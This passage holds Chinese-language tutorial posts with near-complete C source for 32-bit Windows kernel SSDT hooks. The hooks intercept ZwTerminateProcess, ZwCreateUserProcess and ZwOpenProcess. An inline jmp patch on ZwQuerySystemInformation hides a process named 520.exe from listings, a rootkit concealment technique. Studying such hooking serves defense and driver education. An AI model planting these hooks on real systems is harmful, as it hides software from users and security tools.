((typedef_ZwTerminateProcess)g_pOldSSDTFunctionAddress)(hProcess, ntExitCode); return status;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    总结其中,我们对 SSDT 函数 ZwTerminateProcess SSDT Hook 的时候,修改内存的方法使用 MDL 方式,这样,可以突破内存的 Write Protect 写保护。
    参考参考自《Windows黑客编程技术详解》一书
    2  留言 2019-03-03 21:41:08
  • SSDT Hook 之内核函数ZwCreateUserProcess实现监控进程创建

    背景我们要开始向大家演示 SSDT HOOK 的使用方式,帮助我们的程序实现隐藏或是监控等工作。我们之前也一直提到过,在 32 位系统上,要想实现隐藏或是监控的操作,大多数操作就是对 SSDT 函数各种 HOOK,可以是 SSDT HOOK,也可以是 Inline HOOK。但,这些通过对 SSDT 表内存修改而实现的操作,在 64 位系统上不再适用,因为 64 位系统的 Patch Guard 保护机制,把 SSDT 的内存作为重点保护对象,只要对 SSDT 的内存进行修改,都会触发 Patch Guard,从而导致系统蓝屏。所以,这种 SSDT HOOK 的操作,能正常在 32 位系统上使用。在 64 位上,会导致蓝屏。当然,如果你能使用其它方法突破 64 位的 Patch Guard 保护的话,SSDT 还是仍然可以使用的。
    本文主要介绍在 32 位系统上,使用 SSDT Hook ZwCreateUserProcess 内核函数实现监控进程创建。现在,我就把实现过程和原理,整理成文档,分享给大家。
    实现过程在 32 位系统下,SSDT 是导出的,所以可以直接获取 KeServiceDescriptorTable。然后,我们根据 ntdll.dll 获取 ZwCreateUserProcess 函数的 SSDT 函数索引号。有了这个 SSDT 索引号,我们就可以根据 KeServiceDescriptorTable 获取函数 ZwCreateUserProcess 在内核中的地址了。
    那么,SSDT HOOK 的原理就是:将 SSDT 表中存储的 ZwCreateUserProcess 函数地址修改成新的函数的地址,这样,当系统从 SSDT 获取 ZwCreateUserProcess 函数地址的时候,获取到的就是指向我们新函数的地址,从而执行我们的新函数。
    其中,SSDT 表的内存是有 Write Protect 写保护属性,所以,我们采用 MDL 方式来修改 SSDT 表的内存,写入我们的新函数地址。
    那么,在新的 New_ZwCreateUserProcess 函数中的操作就是:根据进程信息判断是否允许创建进程,若不允许,直接返回操作;若允许创建,则调用原来的 ZwCreateUserProcess 函数传入参数进行创建。
    这样,就可以实现监控进程创建了。
    编码实现Hook// SSDT HookBOOLEAN SSDTHook(){ UNICODE_STRING ustrDllFileName; ULONG ulSSDTFunctionIndex = 0; PMDL pMdl = NULL; PVOID pNewAddress = NULL; ULONG ulNewFuncAddr = 0; RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); // 从 ntdll.dll 中获取 SSDT 函数索引号 ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, "ZwCreateUserProcess"); // 根据索引号, 从SSDT表中获取对应函数地址 g_pOldSSDTFunctionAddress = (PVOID)KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex]; if (NULL == g_pOldSSDTFunctionAddress) { DbgPrint("Get SSDT Function Error!\n"); return FALSE; } // 使用 MDL 方式修改 SSDT pMdl = MmCreateMdl(NULL, &KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex], sizeof(ULONG)); if (NULL == pMdl) { DbgPrint("MmCreateMdl Error!\n"); return FALSE; } MmBuildMdlForNonPagedPool(pMdl); pNewAddress = MmMapLockedPages(pMdl, KernelMode); if (NULL == pNewAddress) { IoFreeMdl(pMdl); DbgPrint("MmMapLockedPages Error!\n"); return FALSE; } // 写入新函数地址 ulNewFuncAddr = (ULONG)New_ZwCreateUserProcess; RtlCopyMemory(pNewAddress, &ulNewFuncAddr, sizeof(ULONG)); // 释放 MmUnmapLockedPages(pNewAddress, pMdl); IoFreeMdl(pMdl); return TRUE;}
    Unhook// SSDT UnhookBOOLEAN SSDTUnhook(){ UNICODE_STRING ustrDllFileName; ULONG ulSSDTFunctionIndex = 0; PVOID pSSDTFunctionAddress = NULL; PMDL pMdl = NULL; PVOID pNewAddress = NULL; ULONG ulOldFuncAddr = 0; RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); // 从 ntdll.dll 中获取 SSDT 函数索引号 ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, "ZwCreateUserProcess"); // 使用 MDL 方式修改 SSDT pMdl = MmCreateMdl(NULL, &KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex], sizeof(ULONG)); if (NULL == pMdl) { DbgPrint("MmCreateMdl Error!\n"); return FALSE; } MmBuildMdlForNonPagedPool(pMdl); pNewAddress = MmMapLockedPages(pMdl, KernelMode); if (NULL == pNewAddress) { IoFreeMdl(pMdl); DbgPrint("MmMapLockedPages Error!\n"); return FALSE; } // 写入原函数地址 ulOldFuncAddr = (ULONG)g_pOldSSDTFunctionAddress; RtlCopyMemory(pNewAddress, &ulOldFuncAddr, sizeof(ULONG)); // 释放 MmUnmapLockedPages(pNewAddress, pMdl); IoFreeMdl(pMdl); return TRUE;}
    新函数// 新函数NTSTATUS New_ZwCreateUserProcess( PHANDLE ProcessHandle, PHANDLE ThreadHandle, ACCESS_MASK ProcessDesiredAccess, ACCESS_MASK ThreadDesiredAccess, POBJECT_ATTRIBUTES ProcessObjectAttributes, POBJECT_ATTRIBUTES ThreadObjectAttributes, ULONG CreateProcessFlags, ULONG CreateThreadFlags, PRTL_USER_PROCESS_PARAMETERS ProcessParameters, PVOID Parameters, PVOID AttributeList){ NTSTATUS status = STATUS_SUCCESS; typedef NTSTATUS (*typedef_ZwCreateUserProcess)( PHANDLE ProcessHandle, PHANDLE ThreadHandle, ACCESS_MASK ProcessDesiredAccess, ACCESS_MASK ThreadDesiredAccess, POBJECT_ATTRIBUTES ProcessObjectAttributes, POBJECT_ATTRIBUTES ThreadObjectAttributes, ULONG CreateProcessFlags, ULONG CreateThreadFlags, PRTL_USER_PROCESS_PARAMETERS ProcessParameters, PVOID Parameters, PVOID AttributeList); // 拒绝进程创建 WCHAR wszRefuseProcessName[] = L"520.exe"; if (NULL != wcsstr(ProcessParameters->ImagePathName.Buffer, wszRefuseProcessName)) { DbgPrint("[Refuse Process]%wZ\n", &ProcessParameters->ImagePathName); return STATUS_UNSUCCESSFUL; } // 执行原函数 status = ((typedef_ZwCreateUserProcess)g_pOldSSDTFunctionAddress)( ProcessHandle, ThreadHandle, ProcessDesiredAccess, ThreadDesiredAccess, ProcessObjectAttributes, ThreadObjectAttributes, CreateProcessFlags, CreateThreadFlags, ProcessParameters, Parameters, AttributeList); return status;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    总结其中,我们对 SSDT 函数 ZwCreateUserProcess SSDT Hook 的时候,修改内存的方法使用 MDL 方式,这样,可以突破内存的 Write Protect 写保护。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-03-02 20:25:55
  • SSDT Hook 之内核函数ZwOpenProcess实现监控打开进程

    背景我们要开始向大家演示 SSDT HOOK 的使用方式,帮助我们的程序实现隐藏或是监控等工作。我们之前也一直提到过,在 32 位系统上,要想实现隐藏或是监控的操作,大多数操作就是对 SSDT 函数各种 HOOK,可以是 SSDT HOOK,也可以是 Inline HOOK。但,这些通过对 SSDT 表内存修改而实现的操作,在 64 位系统上不再适用,因为 64 位系统的 Patch Guard 保护机制,把 SSDT 的内存作为重点保护对象,只要对 SSDT 的内存进行修改,都会触发 Patch Guard,从而导致系统蓝屏。所以,这种 SSDT HOOK 的操作,能正常在 32 位系统上使用。在 64 位上,会导致蓝屏。当然,如果你能使用其它方法突破 64 位的 Patch Guard 保护的话,SSDT 还是仍然可以使用的。
    本文主要介绍在 32 位系统上,使用 SSDT Hook ZwOpenProcess 内核函数实现监控打开进程。现在,我就把实现过程和原理,整理成文档,分享给大家。
    实现过程在 32 位系统下,SSDT 是导出的,所以可以直接获取 KeServiceDescriptorTable。然后,我们根据 ntdll.dll 获取 ZwOpenProcess 函数的 SSDT 函数索引号。有了这个 SSDT 索引号,我们就可以根据 KeServiceDescriptorTable 获取函数 ZwOpenProcess 在内核中的地址了。想要了解更多具体的分析过程,可以参考《32位系统上获取SSDT表地址以及从中获取指定SSDT函数的地址》这篇文章。
    那么,SSDT HOOK 的原理就是:将 SSDT 表中存储的 ZwOpenProcess 函数地址修改成新的函数的地址,这样,当系统从 SSDT 获取 ZwOpenProcess 函数地址的时候,获取到的就是指向我们新函数的地址,从而执行我们的新函数。
    其中,SSDT 表的内存是有 Write Protect 写保护属性,所以,我们采用 MDL 方式来修改 SSDT 表的内存,写入我们的新函数地址。
    那么,在新的 New_ZwOpenProcess 函数中的操作就是:
    通过参数判断是否是我们保护的进程,若不是,则调用原来的内核函数 ZwOpenProcess 打开进程;若是,则直接返回,不操作。
    这样,就可以实现监控打开进程了。
    编码实现Hook// SSDT HookBOOLEAN SSDTHook(){ UNICODE_STRING ustrDllFileName; ULONG ulSSDTFunctionIndex = 0; PMDL pMdl = NULL; PVOID pNewAddress = NULL; ULONG ulNewFuncAddr = 0; RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); // 从 ntdll.dll 中获取 SSDT 函数索引号 ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, "ZwOpenProcess"); // 根据索引号, 从SSDT表中获取对应函数地址 g_pOldSSDTFunctionAddress = (PVOID)KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex]; if (NULL == g_pOldSSDTFunctionAddress) { DbgPrint("Get SSDT Function Error!\n"); return FALSE; } // 使用 MDL 方式修改 SSDT pMdl = MmCreateMdl(NULL, &KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex], sizeof(ULONG)); if (NULL == pMdl) { DbgPrint("MmCreateMdl Error!\n"); return FALSE; } MmBuildMdlForNonPagedPool(pMdl); pNewAddress = MmMapLockedPages(pMdl, KernelMode); if (NULL == pNewAddress) { IoFreeMdl(pMdl); DbgPrint("MmMapLockedPages Error!\n"); return FALSE; } // 写入新函数地址 ulNewFuncAddr = (ULONG)New_ZwOpenProcess; RtlCopyMemory(pNewAddress, &ulNewFuncAddr, sizeof(ULONG)); // 释放 MmUnmapLockedPages(pNewAddress, pMdl); IoFreeMdl(pMdl); return TRUE;}
    Unhook// SSDT UnhookBOOLEAN SSDTUnhook(){ UNICODE_STRING ustrDllFileName; ULONG ulSSDTFunctionIndex = 0; PVOID pSSDTFunctionAddress = NULL; PMDL pMdl = NULL; PVOID pNewAddress = NULL; ULONG ulOldFuncAddr = 0; RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); // 从 ntdll.dll 中获取 SSDT 函数索引号 ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, "ZwOpenProcess"); // 使用 MDL 方式修改 SSDT pMdl = MmCreateMdl(NULL, &KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex], sizeof(ULONG)); if (NULL == pMdl) { DbgPrint("MmCreateMdl Error!\n"); return FALSE; } MmBuildMdlForNonPagedPool(pMdl); pNewAddress = MmMapLockedPages(pMdl, KernelMode); if (NULL == pNewAddress) { IoFreeMdl(pMdl); DbgPrint("MmMapLockedPages Error!\n"); return FALSE; } // 写入原函数地址 ulOldFuncAddr = (ULONG)g_pOldSSDTFunctionAddress; RtlCopyMemory(pNewAddress, &ulOldFuncAddr, sizeof(ULONG)); // 释放 MmUnmapLockedPages(pNewAddress, pMdl); IoFreeMdl(pMdl); return TRUE;}
    新函数// 新函数NTSTATUS New_ZwOpenProcess( _Out_ PHANDLE ProcessHandle, _In_ ACCESS_MASK DesiredAccess, _In_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PCLIENT_ID ClientId ){ NTSTATUS status = STATUS_SUCCESS; PEPROCESS pEProcess = NULL; PCHAR lpProcessName = NULL; if ((HANDLE)0xFFFFFFFF == ProcessHandle || (HANDLE)0x0 == ProcessHandle) { // 返回无效句柄 return STATUS_INVALID_HANDLE; } // 根据进程 PID 获取进程 EPROCESS 对象 status = PsLookupProcessByProcessId(ClientId->UniqueProcess, &pEProcess); if (NT_SUCCESS(status)) { // 获取进程名称 lpProcessName = PsGetProcessImageFileName(pEProcess); DbgPrint("[Open Process][%d][%s]\n", ClientId->UniqueProcess, lpProcessName); // 拒绝打开进程, 实现进程保护 if (NULL != strstr(lpProcessName, "520")) { DbgPrint("[Deny Open Process:%s]\n", lpProcessName); return STATUS_ACCESS_DENIED; } } // 调用原函数, 打开进程 typedef NTSTATUS (*typedef_ZwOpenProcess)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID); status = ((typedef_ZwOpenProcess)g_pOldSSDTFunctionAddress)(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId); return status;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    总结其中,我们对 SSDT 函数 ZwOpenProcess SSDT Hook 的时候,修改内存的方法使用 MDL 方式,这样,可以突破内存的 Write Protect 写保护。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-02-28 18:45:55
  • SSDT Hook 之内核函数ZwQuerySystemInformation实现进程隐藏

    背景要开始向大家演示 SSDT HOOK 的使用方式,帮助我们的程序实现隐藏或是监控等工作。我们之前也一直提到过,在 32 位系统上,要想实现隐藏或是监控的操作,大多数操作就是对 SSDT 函数各种 HOOK,可以是 SSDT HOOK,也可以是 Inline HOOK。但,这些通过对 SSDT 表内存修改而实现的操作,在 64 位系统上不再适用,因为 64 位系统的 Patch Guard 保护机制,把 SSDT 的内存作为重点保护对象,只要对 SSDT 的内存进行修改,都会触发 Patch Guard,从而导致系统蓝屏。所以,这种 SSDT HOOK 的操作,能正常在 32 位系统上使用。在 64 位上,会导致蓝屏。当然,如果你能使用其它方法突破 64 位的 Patch Guard 保护的话,SSDT 还是仍然可以使用的。
    本文主要介绍在 32 位系统上,使用 SSDT Hook ZwQuerySystemInformation 内核函数实现进程隐藏,我们采用的 Inline Hook 方式。现在,我就把实现过程和原理,整理成文档,分享给大家。
    实现过程内核函数 ZwQuerySystemInformation 是一个未公开的函数,那么,我们不能在内核程序中直接获取到这个函数的地址。我们可以看到这个函数是以 Zw 为开头的,所以,我们可以通过 SSDT 表来获取这个内核函数在内核中的调用地址。
    在 32 位系统下,SSDT 是导出的,所以可以直接获取 KeServiceDescriptorTable。然后,我们根据 ntdll.dll 获取 ZwQuerySystemInformation 函数的 SSDT 函数索引号。有了这个 SSDT 索引号,我们就可以根据 KeServiceDescriptorTable 获取函数 ZwQuerySystemInformation 在内核中的地址了。
    由于我们采用的是 Inline Hook 方式,那么,Hook 的原理就是:修改函数地址前 5 个字节,写入 jmp 跳转语句,跳转到新函数地址上。
    在 32 位下,汇编跳转语句为:
    jmp _dwNewAddress
    机器码为:
    e9 _dwOffset(跳转偏移)
    其中,要注意理解跳转偏移的计算方法:
    addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即 eip 的值addr2 --> 跳转地址的值,即 _dwNewAddress 的值跳转偏移 _dwOffset = addr2 - addr1
    那么,在新的 New_ZwQuerySystemInformation 函数中的操作就是:

    首先,Unhook 还原 ZwQuerySystemInformation 函数。
    然后,传入参数调用 ZwQuerySystemInformation 函数进行执行,获取进程遍历的结果。
    接着,继续 Hook ZwQuerySystemInformation 函数。
    最后,我们对查询结果进行遍历,将我们要隐藏的进程,从遍历的链表中摘链,实现隐藏,返回操作。

    编码实现Hook// Inline HookBOOLEAN InlineHook(){ PVOID pSSDTFunctionAddress = NULL; PMDL pMdl = NULL; PVOID pNewAddress = NULL; ULONG ulDataSize = SIZE_SHELLCODE; UCHAR pData[SIZE_SHELLCODE] = { 0xe9, 0, 0, 0, 0 }; LONG lOffset = 0; // 获取 SSDT 函数地址 pSSDTFunctionAddress = GetSSDTFunction("ZwQuerySystemInformation"); if (NULL == pSSDTFunctionAddress) { DbgPrint("GetSSDTFunction Error!\n"); return FALSE; } // 使用 MDL 方式修改 SSDT 函数前 5 字节 pMdl = MmCreateMdl(NULL, pSSDTFunctionAddress, ulDataSize); if (NULL == pMdl) { DbgPrint("MmCreateMdl Error!\n"); return FALSE; } MmBuildMdlForNonPagedPool(pMdl); pNewAddress = MmMapLockedPages(pMdl, KernelMode); if (NULL == pNewAddress) { IoFreeMdl(pMdl); DbgPrint("MmMapLockedPages Error!\n"); return FALSE; } // 计算偏移并修改写入 Shellcode lOffset = (LONG)((PUCHAR)New_ZwQuerySystemInformation - (PUCHAR)pSSDTFunctionAddress - 5); RtlCopyMemory((PVOID)((PUCHAR)pData + 1), &lOffset, sizeof(lOffset)); // 保存原来 5 字节数据 RtlCopyMemory(g_pOldData, pNewAddress, ulDataSize); // 写入 Shellcode RtlCopyMemory(pNewAddress, pData, ulDataSize); // 释放 MmUnmapLockedPages(pNewAddress, pMdl); IoFreeMdl(pMdl); return TRUE;}
    Unhook// Inline UnhookBOOLEAN InlineUnhook(){ PVOID pSSDTFunctionAddress = NULL; PMDL pMdl = NULL; PVOID pNewAddress = NULL; ULONG ulDataSize = SIZE_SHELLCODE; // 获取 SSDT 函数地址 pSSDTFunctionAddress = GetSSDTFunction("ZwQuerySystemInformation"); if (NULL == pSSDTFunctionAddress) { DbgPrint("GetSSDTFunction Error!\n"); return FALSE; } // 使用 MDL 方式修改 SSDT 函数前 5 字节 pMdl = MmCreateMdl(NULL, pSSDTFunctionAddress, ulDataSize); if (NULL == pMdl) { DbgPrint("MmCreateMdl Error!\n"); return FALSE; } MmBuildMdlForNonPagedPool(pMdl); pNewAddress = MmMapLockedPages(pMdl, KernelMode); if (NULL == pNewAddress) { IoFreeMdl(pMdl); DbgPrint("MmMapLockedPages Error!\n"); return FALSE; } // 还原数据 RtlCopyMemory(pNewAddress, g_pOldData, ulDataSize); // 释放 MmUnmapLockedPages(pNewAddress, pMdl); IoFreeMdl(pMdl); return TRUE;}
    新函数// 新函数NTSTATUS New_ZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength){ NTSTATUS status = STATUS_SUCCESS; PSYSTEM_PROCESS sysProcess = NULL; PSYSTEM_PROCESS preProcess = NULL; UNICODE_STRING ustrHideProcessName; typedef NTSTATUS(*typedef_ZwQuerySystemInformation)( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); // 获取 SSDT 函数地址 typedef_ZwQuerySystemInformation pSSDTFunctionAddress = (typedef_ZwQuerySystemInformation)GetSSDTFunction("ZwQuerySystemInformation"); if (NULL == pSSDTFunctionAddress) { DbgPrint("GetSSDTFunction Error!\n"); return FALSE; } // Unhook InlineUnhook(); // 执行原函数 status = pSSDTFunctionAddress(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); // Hook InlineHook(); // 直接返回 if (!NT_SUCCESS(status)) { return status; } if (5 != SystemInformationClass) { return status; } // 设置隐藏的进程 RtlInitUnicodeString(&ustrHideProcessName, L"520.exe"); // 获取进程信息 sysProcess = (PSYSTEM_PROCESS)SystemInformation; preProcess = sysProcess; // 开始遍历进程, 并从中摘链隐藏进程 while (sysProcess->NextEntryDelta) { DbgPrint("[%d]%wZ\n", sysProcess->ProcessId, &sysProcess->ProcessName); // 隐藏指定进程 if (RtlEqualUnicodeString(&sysProcess->ProcessName, &ustrHideProcessName, TRUE)) { preProcess->NextEntryDelta = preProcess->NextEntryDelta + sysProcess->NextEntryDelta; DbgPrint("Hide %wZ Process OK.\n", &ustrHideProcessName); break; } // 继续遍历 preProcess = sysProcess; sysProcess = (PSYSTEM_PROCESS)((PUCHAR)sysProcess + sysProcess->NextEntryDelta); } return status;}
    程序测试在 Win7 32 位系统上,驱动程序正常执行:

    在 Win10 32 位系统上,驱动程序正常执行:

    总结Hook ZwQuerySystemInformation 内核函数实现进程隐藏的本质原理就是摘链,即摘除 ZwQuerySystemInformation 函数进程双向链表中的某个链表。
    其中,我们对 SSDT 函数 ZwQuerySystemInformation Inline Hook 的时候,修改内存的方法使用 MDL 方式。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-02-27 18:20:45
  • 内核内存映射文件之获取SSDT函数索引号

    背景很多时候,内核下的开发和用户层上的程序开发使用到的技术原理都是相同的,所以,我们可以通过类比学习,快速地对内核开发进行理解与熟悉。
    正如本文讲解的内存映射文件技术,用户层上有专门的 WIN32 API 提供给我们开发使用。对于内核上,也有相对应的内核函数给我们调用,实现内存映射文件,把磁盘上的文件映射到内核内存空间中来。
    本文要实现的就是使用内存映射文件技术,将磁盘上的 ntdll.dll 文件映射到内核内存空间中,并从导出表中获取导出函数地址,然后获取 SSDT 函数索引号。所以,这篇文章除了要对内存映射文件技术比较了解之外,还需要对 PE 结构也有一定得了解,否则很难理解透彻这篇文章。现在,我就把实现过程整理成文档,分享给大家。
    函数介绍ZwOpenFile 函数
    打开现有文件,目录,设备或卷。
    函数声明
    NTSTATUS ZwOpenFile( _Out_ PHANDLE FileHandle, _In_ ACCESS_MASK DesiredAccess, _In_ POBJECT_ATTRIBUTES ObjectAttributes, _Out_ PIO_STATUS_BLOCK IoStatusBlock, _In_ ULONG ShareAccess, _In_ ULONG OpenOptions);
    参数

    FileHandle [out]指向接收文件句柄的HANDLE变量的指针。DesiredAccess [in]指定一个ACCESS_MASK值,用于确定请求的对象访问。有关详细信息,请参阅ZwCreateFile的DesiredAccess参数。其中,GENERIC_READ 包括权限有 STANDARD_RIGHTS_READ、FILE_READ_DATA、FILE_READ_ATTRIBUTES、FILE_READ_EA、以及 SYNCHRONIZE。ObjectAttributes [in]指向OBJECT_ATTRIBUTES结构的指针,指定对象名称和其他属性。使用InitializeObjectAttributes初始化此结构。如果调用者未在系统线程上下文中运行,则调用InitializeObjectAttributes时必须设置OBJ_KERNEL_HANDLE属性。IoStatusBlock [out]指向接收最终完成状态的IO_STATUS_BLOCK结构的指针以及有关所请求操作的信息。ShareAccess [in]指定文件的共享访问类型。有关详细信息,请参阅ZwCreateFile的ShareAccess参数。其中,FILE_SHARE_READ 表示允许其它线程读此文件;FILE_SHARE_WRITE 表示允许其它线程写此文件。OpenOptions [in]指定打开文件时要应用的选项。有关更多信息,请参阅ZwCreateFile的CreateOptions参数。其中,FILE_SYNCHRONOUS_IO_ALERT 表示文件中的所有操作都是同步执行的。 代表呼叫者的任何等待都会从提醒中提前终止。 该标志还使I / O系统保持文件位置指针。 如果设置此标志,则必须在DesiredAccess参数中设置SYNCHRONIZE标志。
    返回值

    成功,则返回 STATUS_SUCCESS;否则,返回其它 NTSTATUS 错误码。

    ZwCreateSection 函数
    创建一个节对象。
    函数声明
    NTSTATUS ZwCreateSection( _Out_ PHANDLE SectionHandle, _In_ ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PLARGE_INTEGER MaximumSize, _In_ ULONG SectionPageProtection, _In_ ULONG AllocationAttributes, _In_opt_ HANDLE FileHandle);
    参数

    SectionHandle [out]指向接收段对象的句柄的HANDLE变量的指针。
    DesiredAccess [in]指定一个ACCESS_MASK值,用于确定请求的对象访问。除了为所有类型的对象定义的访问权限(请参阅ACCESS_MASK)之外,调用者可以指定以下任何访问权限,这些访问权限特定于部分对象:DesiredAccess标志允许调用者执行此操作SECTION_EXTEND_SIZE:动态扩展部分的大小。SECTION_MAP_EXECUTE:执行该部分的视图。SECTION_MAP_READ:读取该部分的视图。SECTION_MAP_WRITE:编写该部分的视图。SECTION_QUERY:查询节对象有关该部分的信息。驱动应该设置这个标志。SECTION_ALL_ACCESS:包括上面所有的标志之外,还包括STANDARD_RIGHTS_REQUIRED。
    ObjectAttributes [in,可选]指向OBJECT_ATTRIBUTES结构的指针,指定对象名称和其他属性。使用InitializeObjectAttributes初始化此结构。如果调用者未在系统线程上下文中运行,则调用InitializeObjectAttributes时必须设置OBJ_KERNEL_HANDLE属性。
    MaximumSize [in,可选]指定部分的最大大小(以字节为单位)。 ZwCreateSection将此值转换为PAGE_SIZE的最接近的倍数。如果该部分由分页文件支持,则MaximumSize将指定该部分的实际大小。如果该部分由普通文件支持,则MaximumSize指定文件可以扩展或映射到的最大大小。
    SectionPageProtection [in]指定在该部分的每个页面上放置的保护。使用以下四个值之一:PAGE_READONLY,PAGE_READWRITE,PAGE_EXECUTE或PAGE_WRITECOPY。有关这些值的说明,请参阅CreateFileMapping。其中,PAGE_READWRITE 表示允许将视图映射为只读、写时复制、读/写访问。必须使用 GENERIC_READ 和 GENERIC_WRITE 访问权限创建 hFile 参数指定的文件句柄。
    AllocationAttributes[in]指定SEC_XXX标志的位掩码,以确定该部分的分配属性。有关这些标志的描述,请参阅CreateFileMapping。其中,SEC_COMMIT 是以 PE 结构中的 FileAlignment 大小对齐映射文件。SEC_IMAGE 是以 PE 结构中的 SectionALignment 大小对齐映射文件。
    FileHandle [in,可选]可选地指定打开的文件对象的句柄。如果FileHandle的值为NULL,则该段由分页文件支持。否则,该部分由指定的文件支持。

    返回值

    成功,则返回 STATUS_SUCCESS;否则,返回其它 NTSTATUS 错误码。

    ZwMapViewOfSection 函数
    将一个节表的视图映射到内核的虚拟地址空间。
    函数声明
    NTSTATUS ZwMapViewOfSection( _In_ HANDLE SectionHandle, _In_ HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _In_ ULONG_PTR ZeroBits, _In_ SIZE_T CommitSize, _Inout_opt_ PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize, _In_ SECTION_INHERIT InheritDisposition, _In_ ULONG AllocationType, _In_ ULONG Win32Protect );
    参数

    SectionHandle [in] 节对象的句柄。该句柄是通过成功调用ZwCreateSection或ZwOpenSection创建的。ProcessHandle [in] 处理表示视图应该映射到进程的对象。使用ZwCurrentProcess宏来指定当前进程。必须使用PROCESS_VM_OPERATION访问(在Microsoft Windows SDK文档中描述)打开句柄。BaseAddress [in,out] 指向接收视图基地址的变量的指针。如果此参数的值不为NULL,则会从指定的虚拟地址开始分配视图,向下舍入到下一个64K字节的地址边界。ZeroBits[in] 指定截面视图基地址中必须为零的高位地址位数。此参数的值必须小于21,仅当BaseAddress为NULL时才使用 - 换句话说,当调用者允许系统确定在哪里分配视图时。CommitSize [in] 指定视图初始提交的区域的大小(以字节为单位)。 CommitSize仅对页面文件支持的部分有意义,并且四舍五入为PAGE_SIZE的最接近的倍数。 (对于映射文件的部分,数据和图像都将在段创建时提交。)SectionOffset [in,out,optional] 指向变量的指针,该变量从字节开始到视图接收以字节为单位的偏移量。如果此指针不为NULL,则向左舍入到下一个分配粒度大小边界。ViewSize [in,out] 指向SIZE_T变量的指针。如果此变量的初始值为零,则ZwMapViewOfSection将在SectionOffset中开始的部分的视图映射到该部分的末尾。否则,初始值指定视图的大小(以字节为单位)。在映射视图之前,ZwMapViewOfSection始终将此值舍入到最接近PAGE_SIZE的倍数。 返回时,该值接收视图的实际大小(以字节为单位)。InheritDisposition [in] 指定视图如何与子进程共享。可能的值是: ViewShare 该视图将映射到将来创建的任何子进程。 ViewUnmap 该视图将不会映射到子进程。 驱动程序通常应为此参数指定ViewUnmap。AllocationType[in] 指定一组描述要为指定的页面区域执行的分配类型的标志。有效标志是MEM_LARGE_PAGES,MEM_RESERVE和MEM_TOP_DOWN。虽然不允许MEM_COMMIT,但是除非指定了MEM_RESERVE,否则是默认的。有关MEM_XXX标志的更多信息,请参阅VirtualAlloc例程的说明。MEM_TOP_DOWN 表示在尽可能高的地址分配内存。 Win32Protect [in] 指定最初提交的页面区域的保护类型。设备和中间驱动程序应将此值设置为PAGE_READWRITE。
    返回值
    成功,则返回 STATUS_SUCCESS;否则,返回其它 NTSTATUS 错误码。


    实现原理使用WIN32 API来实现内存映射文件,实现步骤如下:

    调用 CreatFile 打开想要映射的文件,获得句柄hFile。
    调用 CreatFileMapping 函数生成一个建立在CreatFile函数创建的文件对象基础上的内存映射对象,得到句柄hFileMap。
    调用 MapViewOfFile 函数把整个文件的一个区域或者整个区域映射到内存中,得到指向映射到内存的第一个字节的指针 lpMemory。
    用该指针来读写文件。
    调用 UnmapViewOfFile 来解除文件映射,传入参数为 lpMemory。
    调用 CloseHandle 来关闭内存映射文件,传入参数为 hFileMap。
    调用 CloseHandle 来关闭文件,传入函数为 hFile。

    那么,在内核下的内存映射文件的实现步骤和用户层的也相同,只是使用的函数不相同而已:

    调用 ZwOpenFile 打开想要映射的文件,获得句柄 hFile。
    调用 ZwCreatSection 函数生成一个建立在 ZwOpenFile 函数创建的文件对象基础上的内存映射对象,得到句柄 hSection。
    调用 ZwMapViewOfSection 函数把整个文件的一个区域或者整个区域映射到内存中,得到指向映射到内存的第一个字节的指针 lpMemory。
    用该指针来读写文件。
    调用 ZwUnmapViewOfSection 来解除文件映射,传入参数为进程句柄以及 lpMemory。
    调用 ZwClose 来关闭内存映射文件,传入参数为 hSection。
    调用 ZwClose 来关闭文件,传入函数为 hFile。

    其中,我们从导入表获取指定导出函数的导出地址的实现流程是:

    首先,将文件映射到内核内存后,我们便可以获取文件的映射基址。我们根据 PE 文结构体 IMAGE_DOS_HEADER 和 IMAGE_NT_HEADERS 计算出 OptionahlHeader,接着获取 DataDirectory 中的导出表 RVA 地址。这样,我们可以计算出导出表在内存中的地址。
    然后,我们根据导出表结构 IMAGE_EXPORT_DIRECTORY 获取导出函数名称的个数以及导出函数名称的地址,以此遍历匹配是否是要查找的函数名称。若是,则从 AddressOfNamesOrdinal 中获取导出函数名称对应的导出函数索引值。有了这个导出函数索引值,我们直接就可以在 AddressOfFunctions 导出函数地址表中获取导出函数的地址。
